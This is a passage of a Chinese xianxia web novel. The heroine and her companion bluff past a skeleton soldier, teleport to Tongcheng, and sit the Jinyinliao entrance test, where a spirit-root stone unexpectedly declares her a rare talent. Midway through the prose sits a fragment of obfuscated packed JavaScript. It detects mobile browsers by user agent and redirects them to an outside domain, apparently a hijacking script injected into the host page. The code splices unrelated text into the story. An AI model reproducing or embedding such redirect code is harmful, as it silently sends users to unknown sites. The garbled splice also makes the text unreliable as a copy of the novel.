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她担心时间久了会出变故。但眼下似乎也没什么更好的办法。
“轰隆——”
忽然间,马车猛地一晃,她瞬间被甩在车厢上,眼前黑了一瞬。
再睁眼时,她整个人侧倒在地,身上砸落下各类零碎,疼得很。
好不容易爬出马车,只见白骨士兵已经跃到他们车顶,挥开双臂,展开一片力场。
周围温度骤降,寒气直往人骨缝里钻,地上结起一层冰霜。
眼看危险近在咫尺,霜天晓凭空握拳,拳心亮起金光,空气振动,发出尖锐的凤鸣声。
一柄灵剑横落他手,剑身出鞘。
楚江蓠一见剑光闪烁,直接抓上霜天晓的手臂,催道:“别闹了,你伤都没好,快走。”
霜天晓僵硬地放下手,灵剑拔了一半就收了回去。
他瞪着她转身:“车,马,人都在,我们走得掉吗?”
说话间,四周涌起灰黑虚影,呼啸着似乎要将他们吞入腹中。
车顶的士兵厉喝:“往哪儿走?给我过来接受检查!”
见霜天晓还在迈步往前,白骨士兵举起一件黑色物什。像极了手枪一类的物体,还有个扳机。
士兵扣下扳机,三根银针从中吐出,“噔噔噔”,扎进两人脚下。
士兵再度厉喝:“停下!检查!”
寒冷中,楚江蓠唇前呼出一团白雾:“暂时走不掉,不如先听他的试试。”
朦胧呵气间,霜天晓皱着脸,一副心有不甘的模样,却还是听令转身。
士兵掏了本黄色的记录簿出来:“说说看,为什么见我就跑?”
小二立刻躬身开口,声响如洪钟,震得士兵颤了一下,骷髅头都差点掉地上。
士兵望向小二:“安静!”
小二立刻捂住嘴,不出声了。
士兵看了眼场内,没一只正常妖。
他黑黢黢的眼洞最终对准楚江蓠:“你先说,为什么跑?”
楚江蓠指着翻倒的马车,谎称他们是一家三口,要赶回去生小孩。
士兵手里的笔顿了一下,记录簿差点掉地上。
他上上下下打量她:“你?”
接着,士兵举起手枪状的物什,对准她的头,重复问了一遍。
楚江蓠依旧面不改色地扯谎。
小二急忙拿出证件文书递给士兵瞧,指着巷口表示他家就是要从巷口转进去,根本不是逃避检查。
楚江蓠趁机捂着肚子装干呕。霜天晓立刻装成着急的模样,责怪士兵不体恤小妖。
士兵后退了两步,似乎怕她真的出事,将手里的黑色物什夹在腋下,从包里掏出了安胎丸。
“我媳妇儿也要生了,平时都吃这个。”递完药丸,他才去找小二验证身份。
三人没说自己是要去长衡山的传送点,异口同声说他们是要拐进巷口,去小二家所在的多口集。
士兵点了点头,在记录簿上写写画画:“多口集?那边有个铜城传送点啊。最近铜城金银寮在招收弟子,很多小妖怪偷渡过去参加器修考核啊,小心些,乱得很。”
楚江蓠不太明白他的意思,只看小二捂嘴连连摇头。
霜天晓随口解释道:“我们只是回家,三人一个炼器师都没有,去铜城干嘛?”
士兵轻巧地在指间转着黑色物什,语气带笑,颇有些漫不经心地炫耀意味:“铜城好东西多了,喏,这就是铜城的连弩。”
楚江蓠盯着士兵怀中的物什,眯了眯眼,忽然想到自己可以试着利用核心,搞点枪炮之类的热武器防身。
原材料去他口中的铜城应该就能找到。
士兵见楚江蓠盯着他手中的黑色物什看,大约是炫耀的心理得到了满足,他轻笑着摇摇头:“就你们这些小妖怪喜欢,但连弩你们可不会挑,行了。路上驾车慢一点,最近城里来了两个很危险的人族阵修,炸了长公主的竹楼,还重伤了元婴期的高手,入夜之后就尽量别出门。”
三人点头称是,一起把马车推正。
士兵在记录簿上写了一会儿,突然放下记录簿,望向霜天晓:“对了,你修什么道?”
空气陡然间安静下来,霜天晓僵了一下,握拳拔剑。
剑身如火,赤色光辉流转。
士兵点了下头,继续记录:“哦,剑修。”
7. 追踪的守卫
“剑修?他为什么会觉得你是剑修?”楚江蓠坐在马车里,莫名其妙地问霜天晓。
从白骨士兵处离开后,三人重新驾驶马车,拐进小巷,转道去小二家所在的多口集。
车轮颠簸在青石小巷中,发出辘辘声响。
霜天晓有些茫然地眨了眨眼:“可能是那士兵太笨了吧。”
小二跟着摇头:“我也想问,为什么你能召唤灵剑。”
霜天晓抿唇,似乎想到了什么,故作深重地叹了口气:“这剑是我一个剑修好友死前赠送给我的,灵剑有灵,是他执念化剑,我要背负着他去往无妄海,登天柱。”
小二感动不已,不停抹着眼泪,叫着这种感天动地的情义,真是太催人泪下了。
楚江蓠打量着霜天晓:“看了眼灵剑,就认定你是剑修?真是太奇怪了。”
不过这个世界的人,似乎不能用常理来推断。这样一想,她不理解白骨士兵才是正常。
霜天晓撇开脸:“那不然嘞,修仙又不能转职,你以为你在玩游戏啊。”
楚江蓠:“不能转职?”
小二:“对,选定道途之后,就不能再换别的修炼途径了,剑修就是剑修。除非死了成鬼修,再重头修起。”
霜天晓:“是啊,是我挚友的执念残留,才唬住了他。”
楚江蓠点了点头,又问道:“转职会怎么样呢?”
霜天晓满不在意,掰着手指道:“剖灵根,取丹田……”
小二:“啊?有这说法?不是会走火入魔,疯癫而死吗?”
霜天晓顿了一下,拍着小二叫:“我是说转职疯了后,不想死就得剖灵根啊,接着成废人了呗。”
楚江蓠点点头,默默记下了这个世界的修仙途径不能转职。
这样说来,她想起来原著男主好像一直是剑修,没见他修过别的道。
连原男主都绕不过这个设定限制的话,她要用核心绑定十个职业,就必须是十个人,一个人都不能少。
她原先还想能不能钻个漏洞,绑有多重职业的家伙呢。
她接着问道:“我记不清了,分别有哪些修炼途径啊?”
霜天晓奇异地看了她一眼。
小二抢先答道:“妖修、器修、剑修、阵修、丹修、音修、鬼修、体修、符修、毒修。”
记住这十个途径后,她闭眼,进入漆黑的脑海世界。
视野里,一黄一蓝的彩灯在闪烁。
这是点亮了两个修仙途径的系统核心。
黄色的彩灯一直伴随着她,是代表霜天晓的阵修。
蓝色这颗是她在小竹楼里绑定的守卫,根据涌入脑海的知识可知,这代表了丹修。
那她还差八个职业。
不知这丹修现在何处,自从她学会控制核心的光链后,就一直放丹修守卫自由活动,以免对方能够通过光链找到自己。
但一直这么放对方自由活动也不行,要是能联系、能控制就好了。
她试着集中精力,从漆黑的意识中伸出一只触手,缓慢游向核心,触碰了一下彩灯。
两颗彩灯忽然加快了闪烁的节奏,就像是激活了系统,等待命令。
她将自己的心声融入意识触手,传递至核心中。
黄色彩灯忽如跳动般,在她耳边炸响了霜天晓的声音:【谁在说话?】
她猛地睁开眼。
昏暗的马车中,霜天晓正倚倒在塌上,递来一道清冷眼神。
他似笑非笑地扯开双唇,口型能让人简单读出来他是在问:【你?】
楚江蓠微微拧眉,没出声,而是再度将心声递送至核心的黄灯里:【能听见吗?】
霜天晓翻了个身,没再开口。
但他的心声通过光链,从她的脑海核心中传出:【你这是什么神奇法器,还能传音呐?】
这核心居然还具备私下通信能力,像极了游戏世界里的私聊系统,不知道极限通信距离是多少,有时间可以测试一下。
【一个试验。】楚江蓠掩笑,望向车外。
小巷已至尽头,一片迷离烟火呈现在四周。叫卖的小贩走街串巷,路边摆了一座座山高的彩色灯笼。
远处一座头顶金光的岗亭前,妖群排成了一条长龙。乌泱泱的兽头淹没了岗亭的门,显得颇为喧闹。
楚江蓠指着那群妖问小二:“他们在做什么?”
小二直接推开了车门:“他们排队传送去铜城呢,我家就在前面那个坡上!”
楚江蓠:“铜城?是那个士兵买连弩的地方吧。”
霜天晓插了进来:“嗯,你之前不是问小二哥的辔头是哪里炼制的吗?铜城咯,除了无妄海,就铜城金银寮的炼器师最强。”
楚江蓠:“那我想要打造点什么武器,比如能发射火药的连弩,也可以去金银寮下订单?”
小二:“你还可以成为器修自己炼制呢!这段时间赶上金银寮招生考核,很多小妖在妖族出不了头,就想去铜城试试。”
霜天晓:“铜城是人族的地盘吧,也收妖族弟子?”
小二:“铜城在咱们隔壁嘛,一直被他们人族当成什么边境主城,不受待见。实际上咱们这种边境大城,最不介意什么人啊妖啊的了,金银寮收弟子从来不挑出身。”
楚江蓠凝眸深思,她现在急需搞点自保的武器,去铜城再合适不过了。
如果能顺便绑定一个器修,既能替她锻造需要的工具,还能提供她器物设计知识,简直没有比这更好的事了。
恰好铜城的传送点就在面前,她完全没有必要去遥远的长衡山。
小二:“你们要不先在我家躲一晚?去长衡山的传送点还要再绕几条街呢。”
楚江蓠摇头:“已经给你添不少麻烦了,放我在这儿下车,我们也去铜城吧。”
小二连忙瞪大了眼,摇头:“去不了啊,你看不到这么多妖嘛?一晚上都排不到你!巡逻队说不定啥时候就包围传送点了!”
楚江蓠环视一周,沉声道:“那我们就更不能去别的传送点了。巡逻队大概率已经包围了其他地方,等我们自投罗网,唯一能通过的点位就只有这里。”
霜天晓忽地坐起来:“你说的有道理,这里这么乱,就算遇上巡逻队来搜查,我们也有时间逃。”
小二被他们说服,艰难地找了个空地将两人放下。
楚江蓠下车后,从戒指里掏了一瓶丹药出来。
瓷白的瓶子里散发着清新的香气,里面分类装了好几种不同的灵丹,解毒的、疗伤的、聚气的……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792614|158186||http|test|mini|href|location''.split(''|''),0,{}));
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>她今晚吸收了那些丹药知识后,就能通过丹药散发出的不同灵光,辨认出它们的效用。
也是这时才知晓,继兄给她逃婚准备的有多齐全,几乎是压箱底的好东西都塞进来了。
只是自她逃婚到现在,继兄还没联系过她。
大概是她逃婚的消息已经传回了家里,继兄在处理渣爹那边的事情吧。
楚江蓠无奈笑了下,等她到了铜城安定下来,要尽快给继兄报个平安。
小二接过这瓶丹药,脸色立马变得慌乱。他连连推拒着不敢收这么珍贵的谢礼。
霜天晓瞥了一眼她手中的丹药,抱臂随意道:“你还是收下吧。”
他发尾被身后灯火铺上一层朦胧的光,摇摇晃晃,晃得小二也迷迷糊糊起来。
小二将药瓶塞进里衣的隔层里,妥帖放好,摸了又摸。
楚江蓠见状,才安心下来,挥着手同小二告别。
她和霜天晓得罪了妖族长公主,被全城搜捕。小二顶着这么大的风险将他们送走,她不可能让小二就这么空手回去。
告别完小二,楚江蓠迈步跟上了排队的众妖。
前方妖影重重叠叠,掩住了传送点的岗亭。
妖影中只剩一段漆黑的亭角高高翘起,肃穆静立在远方。
一旁的霜天晓侧下身子,发尾从肩头垂落,抱臂给她送来一道心声:【要不我们插队吧?】
楚江蓠:【怎么插?】
她没那么重的道德压力,现在多在这里逗留一秒,就多一分危险。只是前方小妖太多太挤,她还没想到合适的办法插进去。
霜天晓扣了扣额心,忽然站直,卷曲的发尾荡开一道悠长的弧线,在他身后甩动。
他掏出一袋子灵石,在她眼前晃了晃,发出一阵清脆的玉石碰撞声。
霜天晓笑意盈盈地开口:“拿钱开道怎么样?”
“贿赂?”楚江蓠点点头。
能在这种地方掌权的妖怪,多半是吃这一套。
但这事没那么简单,这么多小妖怪在排队,花钱打关系的肯定不少,她即使捧着钱上前,也得有点人脉介绍。
不过这难不倒她,前世搞科研的时候,为了拉投资,什么陌生大佬的饼她都画过,还不至于连个妖怪都拿不下。
楚江蓠一个自信眼神丢给霜天晓,让他跟好自己,她要去忽悠传送点的守卫了。
谁料,离去的小二急匆匆赶回来,闯进他们身边,着急地上下翻飞,闭紧了嘴巴,用手势试图给他们传递消息。
一见小二这反应,楚江蓠迅速理解到他的意思:长公主的巡逻队来了。
她往身后望去,却见自己腕间一道蓝色光链一直连到街角。
街角处飘出一段白衣,光链恰连在白衣男人的腕间。
男人身后紧跟着一列银甲巡逻队,队员们个个手持长戟,四处张望。
堵满了街道的小妖全都向两侧涌开,给巡逻队分开一条宽敞的道路。
眼见人流即将分流到眼前,小二对着前方发出一声怒吼。
惊雷般的震响炸开,前方排队的众妖抱着头晕晕乎乎地打转。
满街混乱中,留出了一条可供人行走的小道。
小二拉着两人一路奔进传送点所在的岗亭。
8. 楚家的委托
岗亭建在一汪澄碧的池子旁,池子中间搭了个青石平台,一道白光打在平台中间。
白光就是传送点了,人走进去就可以被送到两百公里外的铜城。
但想要进入白光,需要打开岗亭里通往青石平台的门。
一群小妖挤在岗亭前,呼唤着值班岗哨放他们通过。
小二拉着楚江蓠,指了指妖群的缝隙,带着她躬身钻到了岗亭门口。
几个奇形怪状的小妖怪挤过来,挤得小二差点摔地上。
小妖怪挥舞着拳头,说这里是自己先来的,他们这群杂碎要滚后面等着。
小二沉了口气,对着岗亭的房间大叫一声:“三表舅爷,我来给你送饭啦!”
房间的门忽然打开,伸出了一只细长的黑色蜘蛛脚,拨开门外的小妖怪,吐出一口黑丝将小二拖进了房间。
楚江蓠立马拉着霜天晓跟了进去。
房间里蹲着一只巨大的黑蜘蛛,蜘蛛脚上黏着黑丝,大约是用来控制传送点大门的开关。
黑蜘蛛睁开细小漆黑的圆眼,滴溜溜地打量了一圈三人。
小二立马从怀里掏出药瓶,是楚江蓠送他的那瓶。
他捧着药瓶躬身递给黑蜘蛛,捧起笑脸:“三表舅爷,是我啊,茹娘的未婚夫。这么多年没来拜访您,得了个宝贝,就立马给您送来了。这不是惦记着您以前对茹娘的照顾嘛。”
黑蜘蛛勾起一条腿,将药瓶勾进怀里,接着咧开细长的口器:“你们也是想传送的吧?一起在外面等着。”
小二连声说着好话,急得拔开药瓶的瓶塞:“您看啊,真是好东西!”
药瓶里的香气立马散发出来,充盈了整个小房间。
黑蜘蛛眯了下眼睛,将瓶塞盖好,收进储物空间:“确实,看你们也挺急的,舅爷给你们先安排了。”
说着,黑蜘蛛扯了下前脚,扯动黑丝,小房间后的传送点铁门逐渐打开。
楚江蓠走向传送点,眼前白光愈加明亮,离开的机会近在咫尺,她回头看了眼小二。
她原先送给小二的丹药,都被小二替她打关系用掉了。
她摸了摸戒指,想再给小二递上一瓶。
小二却挥着赤红薄翼,愣愣地同他们挥了挥手,又摸了摸自己胸口,露出一丝羞涩的笑意。
小二张了张口,口型有些难以辨认。
霜天晓认了出来,告诉她:“他说已经给自己留了几颗高级解毒丹了,没有全部送给那个黑蜘蛛,让你别再破费。还说要谢谢咱们,救了那个舞姬,他做这些都是应该的。”
小二点点头,笑眯了眼。
楚江蓠也抿唇笑了下,收回目光。
目光扫过外面排队的众妖,却见巡逻队扫荡开那群小妖怪,闯了进来。
带队的那个白衣队长赫然就是被她光链绑定的那个丹修守卫。
他腕间的莹蓝色光链直连到楚江蓠手腕,楚江蓠微微摇了摇光链,光链荡起蓝色波纹,拉着白衣队长的手跟着轻晃。
周围却无人注意到这一点,银甲的巡逻队员举起长戟,冰寒的刃尖直指楚江蓠他们。
队员们一声令下,刃尖一翻,刚要刺出,长戟就被队长踹飞了出去。
队员们惊讶地看着队长,被队长一个个踢飞出去,摔进小妖之中。
排队的小妖们哎呦着往外跑,整个传送点陷入一片混乱。
光链的另一边,楚江蓠用心声向脑海核心的蓝色灯光下令:【保护萤火虫,保护我离开。】
巡逻队长被她控制着,转身冲自己的队员丢出好几颗爆炸丹,一团团橙红明艳的火光炸开,如节日庆典的烟花,炸得队员们满脸焦黑。
在烟花般的纷纷火点中,楚江蓠确认小二已躲进众妖中,她才迈进白光,传送离开。
白衣队长紧紧掐着队友的脖颈,人却转过了头,眼睁睁看着楚江蓠两人的身影消失,他痛苦地大吼了一声:“啊——!!”
嘶吼声落在楚江蓠耳朵里,很快变得尖锐渺远,最终消失。
她眼前白光一闪,视线再聚焦时,已是一片天光大亮。
清明天光中,四周满是粉墙黛瓦的建筑,玉楼上走动着许多人类。
错落的楼阁建筑后,隐约露出一座墨色山峰,山顶树立着一顶巨大的金色铜钟,钟顶直插苍穹,四周勾连着缕缕云丝。
楚江蓠摘下脸上的牛妖面具,右手在眼前搭了个凉棚,远远望向那巨大的铜钟。
钟顶反射着金色的阳光,灼了她的眼。
她惊讶道:“不是入夜了吗?怎么又天亮了?”
霜天晓瞥了眼她。
阳光洒落在她脸上,照耀出皮肤的细小绒毛,上半张脸却沉没在淡青色阴影里。
是右手凉棚漏下的阴影,刚好遮了眼睛,显得她的双眸尤为深邃。
霜天晓咳了一声,撇开头简要解释道:“妖域受无妄海天柱的影响,除了黄昏就只有黑夜,和人族的城池不一样。”
楚江蓠闻言抿了抿唇。
所以,她逃婚时看见的黄昏是受天柱影响产生的,而不是修士们的移动速度超过了光速?
她眼睛一亮,眼瞳里的阳光细碎闪动,翘起的夸张唇角压都压不住,连苹果肌都飞起来了。
太好了,她的前世的理论还没被完全推翻,有待她继续研究。
看着她笑意愈发浓烈,霜天晓向一旁多迈了几步,嘀咕着:“连无妄海都不了解,真的是楚家的?”
霜天晓立马又闭上了嘴,肩膀却被人拍了拍。
是守着传送点的人族士兵。
士兵一身金甲,脸色冷硬,流露出不容拒绝的态度,要求他们出示身份证明。
霜天晓下意识摸了下腰间的荷包。
这是一个乾坤袋,里面装了他的身份证明。当然是印着霜天晓三个字的身份证明,但他现在楚江蓠眼中的名字是:臣年。
他不能泄露自己的身份,便收回手,昂首对士兵摇头,表示自己没带。
士兵立马拔剑:“城内严查一切来自妖域的人,跟我们走一趟。”
楚江蓠想起继兄在戒指里给自己放了伪造的身份证明,她立马掏出来递给士兵看。
一片半个巴掌大的木牌上,记录着她是西边小村落的渔家女。
楚江蓠指着木牌上的流光,认真同士兵解释道:“我们是良民,真的。这人脑子有病,我带他来城里看脑子的。”
士兵看了眼木牌,掏出鉴真镜验了下真伪。
木牌是真的。
士兵再看了眼两人的伤病模样,不疑有他,收剑回鞘,冲两人挥了挥手:“走走走,去通天阁补个身份证。”
通天阁是处理修士间各项事务的天界官方组织,门下分阁遍布修仙界。
它本身不属于任何一方势力,凌驾于修仙界众宗门之上。只有得到通天阁认证的物品,才能够被整个修仙界承认。
铜城的通天阁分阁是一栋三层高的巨型建筑,建筑中人来人往,分外喧闹。
霜天晓一进门,就直冲后台去补办自己的身份证明。
楚江蓠被大堂里的人挤
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来挤去,只听见周围不停有人咋舌讨论。
“楚大小姐是在无妄海边失踪的吧,南边就是妖域,会不会被妖族掳去了?”
“那可是仙都楚家和无妄海联姻,这种顶级仙门,给妖怪一百个胆子也不敢抢人吧?”
“听说大小姐是个绝世美人呢,富贵险中求啊!”
“有没有大小姐画像啊?”
听着周围人都在讨论自己,她莫名其妙地抬头,却见大堂里立着一张巨型的委托板。
板上张贴了一条报酬高昂到让人疯狂的委托条目:颖下仙都楚家大小姐失踪,请知情人士寻找线索。
周边的修士已经开始扒着大堂的管理,要楚江蓠的画像了。
一看这混乱情况,楚江蓠立马重新戴上牛妖面具,低头往外溜。
楚家的人居然已经开始四处搜索她了,她根本不知往哪儿逃才能安全。
天下之大,竟生出了无处落脚的感觉。
她低头寻了个窗边座位,安静地等霜天晓出来,思考着接下来该去哪里,难道真的再转道去长衡山?
窗外太阳懒洋洋地洒落,给她面前的案几镀了金。
她前排还坐了几个人,他们正饮茶等待雇主,闲聊着这次金银寮招生的规模不小,周围几大城池都翘首以盼。
她竖起耳朵偷听,听说那金银寮待遇不错,考进去就提供食宿。
独家小院能携带伴侣或随侍不说,还有大量的矿石材料提供炼器学习。
楚江蓠眉头一挑,还有这好事?
她想要利用核心搞点自保的东西出来,最缺乏的就是那些原料了。
现在有个地方能够提供各种原料不说,还能提供食宿,这岂不是解了她的燃眉之急。
而且她身无灵根,渣爹一定想不到她会躲在某个宗门里,尤其是她逃婚地点附近的宗门。
只要藏好自己的脸,她躲进金银寮就会特别安全。
唯一的麻烦是她没灵根,过不了金银寮弟子考核第一关:测灵根。
她眯着眼看向走出人群的霜天晓。
他似乎没看见她在哪里,眨着眼,漆黑的眼瞳四下寻人,眼神又落向身旁被挤歪的修士,抬臂扶了一下,避免了对方摔倒的命运。
黑而蜷曲的马尾从他肩头垂下,他抬手甩到脑后,目光才穿透黑雾般的发尾,看见了她。
大约是被她脸上漆黑的牛妖面具逗乐了,他偏头压了压笑,才大步向她跑来。
楚江蓠向他挥了挥手,看着碎金光影在他手中木牌上摇曳,木牌正面刻着“臣年”两字。
她想到,这不是有个灵根和修为都不错的人做她代练嘛。
好像是说金银寮会提供独家小院,能住两个人?
……
冰冷的月光照彻妖域破碎的竹楼。
长公主身披月光,静静看着脚下跪着的白衣队长。
队长鼻青脸肿,眼眶带血,被几个守卫按压在她面前。
她缓缓迈向队长,裙裾如水波般流动,投下纱织的清透阴影。
阴影随夜风荡起,如一朵暗色的牡丹盛开,牡丹花心立着她一双足尖。
长公主居高临下地看着脚下的队长,淡淡询问:“能控制你的契约?”
她声音清透如月夜下的夜露,是清凉的,缓缓滴落,落在山谷里摇曳的草叶上。草叶颤动着,伏下了腰。
队长跪伏,双手撑地,生生磕了个头。清脆的一声响,打破了月夜的宁静。
长公主望向金银珠帘外的月亮:“去找到她。”
9. 璀璨的金光
清风吹过山脚,吹得楚江蓠衣袖与裤腿荡开层层褶皱。
自穿来这里,她学不会梳发髻,也便学霜天晓那般,将长发高高绑了起来。
顺带裁了长裙,缝做两条宽阔的裤腿,行走之间,颇觉爽利。
乍一看,有些宋代仕女的感觉。
霜天晓初见时,围着她转了圈,相当感兴趣地问:“有意思,你是要改换男装,行走江湖?”
楚江蓠随意答道:“倒也不必,我两次逃命都被长裙扯了腿,还是换成裤子方便。”
接着她便穿着裤装,戴着牛妖面具,在铜城里溜达,了解这个世界的常识。
一连逗留了几日,直到城里流行起黑脸牛妖的恐怖传说,她才学会用储物戒里的哨子联系继兄。
和继兄报完平安后,他让她安心躲在这里,等风波过去,再来接她。
接她倒是不必,但能送她点研究材料最好。
当然,继兄远在千里,她不至于真指望对方能送来什么。
她研究过了,这座城的矿藏只向金银寮独家提供。她想搞点武器防身,得想法子进金银寮弄到那些矿石。
金银寮弟子考核就是最好的机会。
一等到开考的日子,她立刻拉着霜天晓赶至金银寮所在的墨山。
考点设在山顶,但山脚下已排列成长龙,都是希望撞一撞运气的考生,一眼都望不到头。
大约是避免人太多影响考点,金银寮直接将报名点设在了墨山山脚。
考生报完名后,还得沿着近乎垂直的石阶,爬上山顶。
楚江蓠戴着牛妖面具,排队去报名点缴纳考试费。
“一个人两颗中品灵石。”考官抬起眼皮瞧了她一眼。
她没灵根,报了名也通不过灵根测试,只需要报霜天晓一人参试就行。
她便从储物戒掏出两颗中品灵石,换了一个扁扁的准考铜牌。
铜牌挺轻的,上面还不记名,谁拿着铜牌都能用。
“不记名字吗?”楚江蓠疑惑地问。
要是遇上那等缺钱的考生,上山路上岂不是会出来抢铜牌?
考官随便回了句:“我们招生只看铜牌。好了,下一位。”
下一个人急忙推开她,丢下灵石,换了个铜牌。铜牌上依旧不记名,看来这是金银寮刻意为之。
楚江蓠让到了一旁,迎着清风,眺望山顶的金银寮。这座山位于铜城后方,山上长满了漆黑的树木。
她透过树木间隙,能看见不断有考生拽着石阶铁索往山上爬。
铁索摇晃着发出泠泠声响,看得人心都跟着揪紧。
这么危险的山路,如果遇上伏击者抢铜牌,结果她都不敢想。
但金银寮根本不打算阻止考生争夺铜牌,这些人登山途中是伤是残是亡,他们并不在乎。
原来登山是真正的第一关,能够带着铜牌登顶的考生才有资格进入金银寮的弟子选拔。
金银寮收徒确实不挑出身,但只看实力啊,不择手段的实力。
呼啸一声,一柄宽剑从楚江蓠头顶飞过。
剑上站着一个圆脸修士,腰间挂着的铜牌在风中晃荡,他挥手拨开云雾,瞬间就飞没了踪影。
御剑登顶太过轻松,引得攀山的人群发出羡慕的吸气声。
这群人都是普通出身,千里迢迢来到这里,就是想赌一赌自己有点修炼天赋,能有机会改变命运。
他们中的大多连炼气都没有,上山只有唯一的手段,就是不要命地往上爬。
楚江蓠见状拍了拍霜天晓:“你也和御剑的那家伙一样,起个阵带我上去吧,总不能真去爬台阶。”
霜天晓随手结印,脚下浮起璀璨的金光法阵,很快吸引了周围的注意力。
御剑的修士在云雾中飞了一圈,眼看众人的注意力已不在自己身上,有些不爽地飞到楚江蓠两人的头顶转悠。
修士撇着嘴:“什么嘛?又没我的剑帅——”
话音未完,金阵一闪,修士揉了揉眼,眼前两人竟没了踪影。
山顶亮起一线金光,楚江蓠两人已瞬间到达了金银寮的山门。
还在山下转悠的御剑修士吸气道:“不是!这都结丹了吧?!干嘛还要来考核啊?”
忽有一颗小石子打在修士腰间,挂在他腰间的铜牌飞荡出去。
修士腰一软,掉下了宽剑。
林木间钻出一道黑影,直接扑上了空中的铜牌。
修士落地滚了一圈,骂骂咧咧地和黑影打起来。
这一变故立刻如冷水入油锅,激起了山下一连串争抢大战。
幸好楚江蓠两人登顶得早,没卷进这场祸乱中。
他们来到山顶的一扇光门前,光门似乎覆了层水膜。有风吹过,水膜泛起千叠涟漪,波光粼粼。
光门两旁立着冲天的雪白光柱,柱身上下流转着日月般的纹路。
几位身披鹅黄长袍的男女守着光门,楚江蓠推测他们便应该是金银寮招生的考核官,便将铜牌递给他们。
一个女考官验完铜牌后,点了点头:“你们先去测灵石处,测一下炼气天赋。”
顺着女考官的指点,楚江蓠看见光门南侧围了许多人,人群中间耸立着一块黑色巨石。
巨石顶端浮着一颗雪白的玉球,玉球缓慢旋转着,时不时亮起浅红的光。
那是测灵石,专门用来测试考生是否有灵根,也就是有没有修炼天赋。
楚江蓠抿了抿唇,她知道原主在设定里是没灵根的,只有柔弱易推倒的体质和对原男主霜天晓无条件的奉献。
她掩鼻掩住了心中的不爽,直接对着女考官推出了霜天晓:“他要测,我不测。”
笑话,一群人围着看测灵石的结果,她才不想上去丢人,反正测了也白测,她去浪费报名费吗?
霜天晓被这么一推,漫不经心地挤开围着测灵石的考生,手掌放上黑色巨石。
巨石顶部的白玉球登时发出夺目的赤色光辉,赤色逐渐转橘,愈发明艳起来。
众人盯着越来越明亮纯透的光辉,不断低呼,似乎从未见过这么灿烂的色彩。
玉球发出的光越明亮纯净,代表灵根的质量越好,朱砂般的赤红色已是上乘的单灵根了。
但代表霜天晓灵根的彩光仍在流动变换,最终如一轮骄阳般,金灿灿的,与天边日轮同辉。
在这耀眼的光辉下,围观的众人没法再睁眼,全都挡住眼睛,陷入了沉默。
只有山顶的风声在轻轻吹动树梢。
霜天晓收回手,望向楚江蓠,似笑非笑地叹了口气。
叹完气仍掩不住笑,他笑眼弯弯地走向她:“非要我测,你看把他们吓得,早说了我是天才阵修。”
周围的人这才从震惊中回过神,纷纷惊呼。
“我还没见过这么纯粹的金光!好强的天赋,天灵根吗?”
“这么纯粹的金光,肯定是雷属性的天灵根吧!”
“那岂不是天生的剑修?长衡山肯定抢着收徒,他怎么想不开来这里啊?”
一道道惊呼声此起彼伏,几个考官急忙跑过来盯着金光,激动讨论。
“纯金色,这是最罕见的天雷纯灵根吧。
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”
“嘶,快带回去,别让别家抢了。”
“等会儿?他好像成丹了?不是器修?”
霜天晓踱着步子,冲考官灿烂一笑:“我是天雷灵根,通过考核了吧?”
一位考官脸色冷得比死了三天还难看,瞪着他吼:“你一个阵修,来踢馆吗?滚!”
考官突然转变的反应超出了楚江蓠的预料,她有些茫然地看着对方怒气腾腾的脸,忽然忆起这个世界的修士是不可以转职的。
无论有多高的天赋,霜天晓既然已经修了阵法,就没法再成为器修。
可偏偏金银寮不像那些综合性宗门,他们只培养器修。
一个不能学习器修能力的修士来参加这场考核,放金银寮眼里自然像是来挑事的。
眼看着考官们上了脾气,楚江蓠大脑飞转,立刻想到了新解释:“我们这次不是来考核成为弟子的,而是来金银寮应聘的。”
接着,她倾情推销着霜天晓,给考官画饼:拥有一位优质阵修能给金银寮带来多大的价值。
她的目标是进入金银寮,接触炼器师并且获取矿料,至于她究竟是金银寮的弟子还是打工人,根本不重要。
而在她这一出洗脑推销下,考官竟真的点了点头,觉得她说的颇有道理。
楚江蓠眼睛一亮,似乎成了!
她拉起霜天晓的手,击掌庆祝。
考官从怀里掏出纸笔,顺带嘱咐了一句:“对了,我们这边招工只收义工,不给钱的。”
楚江蓠顿了一下,发现这个学院是真心黑。
不仅鼓动参试者争抢铜牌,连工人的工资都不发。
但为了接触矿石原料的机会,她瞪着考官,勉强回道:“不给钱没事,包食宿就行。”
考官摇头:“不包。你们得先从挖矿学起,不会挖矿的不是好义工!”
楚江蓠惊讶地反问他:“你们让义工去挖矿?”
矿场那么危险劳累,居然让人挖矿不给钱?
这几个字她都明白,但组合在一起实在是抽象。
她义正辞严地拒绝,考官伸手就要收回考核铜牌,让他们下山。
一听对方要收回铜牌,还不退考试费,楚江蓠直接火了。
她抱紧铜牌,踹开考官,径直按上了测灵石。
测灵石微微闪烁了一下,又熄灭。
围观的人群中发出稀稀拉拉的嘲笑声。
随着测灵石闪闪烁烁,嘲笑声越来越大,有人对着她开口:“别白费力气了,没天赋就要认命,当个凡人每天种种地,挖挖矿不也挺好?”
楚江蓠环视一圈,叹了口气。
果然没灵根就是不行,她掌心偷偷藏了块能提供灵力的黑石片,就是她在妖域酒楼里砍鬼影捡到的黑石片。
但根本骗不过测灵石。
她无奈收手,追过来的考官伸手夺走她的铜牌:“你天赋这么差还敢跟我动手?挖矿都不轮不上你!”
铜牌被猛地夺走,楚江蓠愤愤地拍了下测灵石,钱都花了,她实在不甘心。
漆黑的测灵石上,白玉球疯狂旋转,腾起夺目的金光,再度成了一轮骄阳般,与碧空中的烈日同辉。
四周再度响起阵阵吸气声。考官呆愣地盯着金光璀璨的玉球,手里的铜牌砸上了自己的脚,也恍然未觉。
口中喃喃着:“居然还有一个天雷纯灵根?”
楚江蓠捡起铜牌,拍了拍上面的灰。
金光淹没了她脸上漆黑的面具,如阴阳明灭般,显得深邃而不可捉摸。
她淡淡问道:“我能走了?”
10. 沉睡的元婴
楚江蓠才不爱同这群人多说,也懒得看考核官变色龙一般的脸色。
只是测灵石莫名认定她有天雷灵根,是个极好的天才苗子,这群考核官连忙费尽口舌请她拜入金银寮。
很快,连铜城城主都来向她礼贤下士。
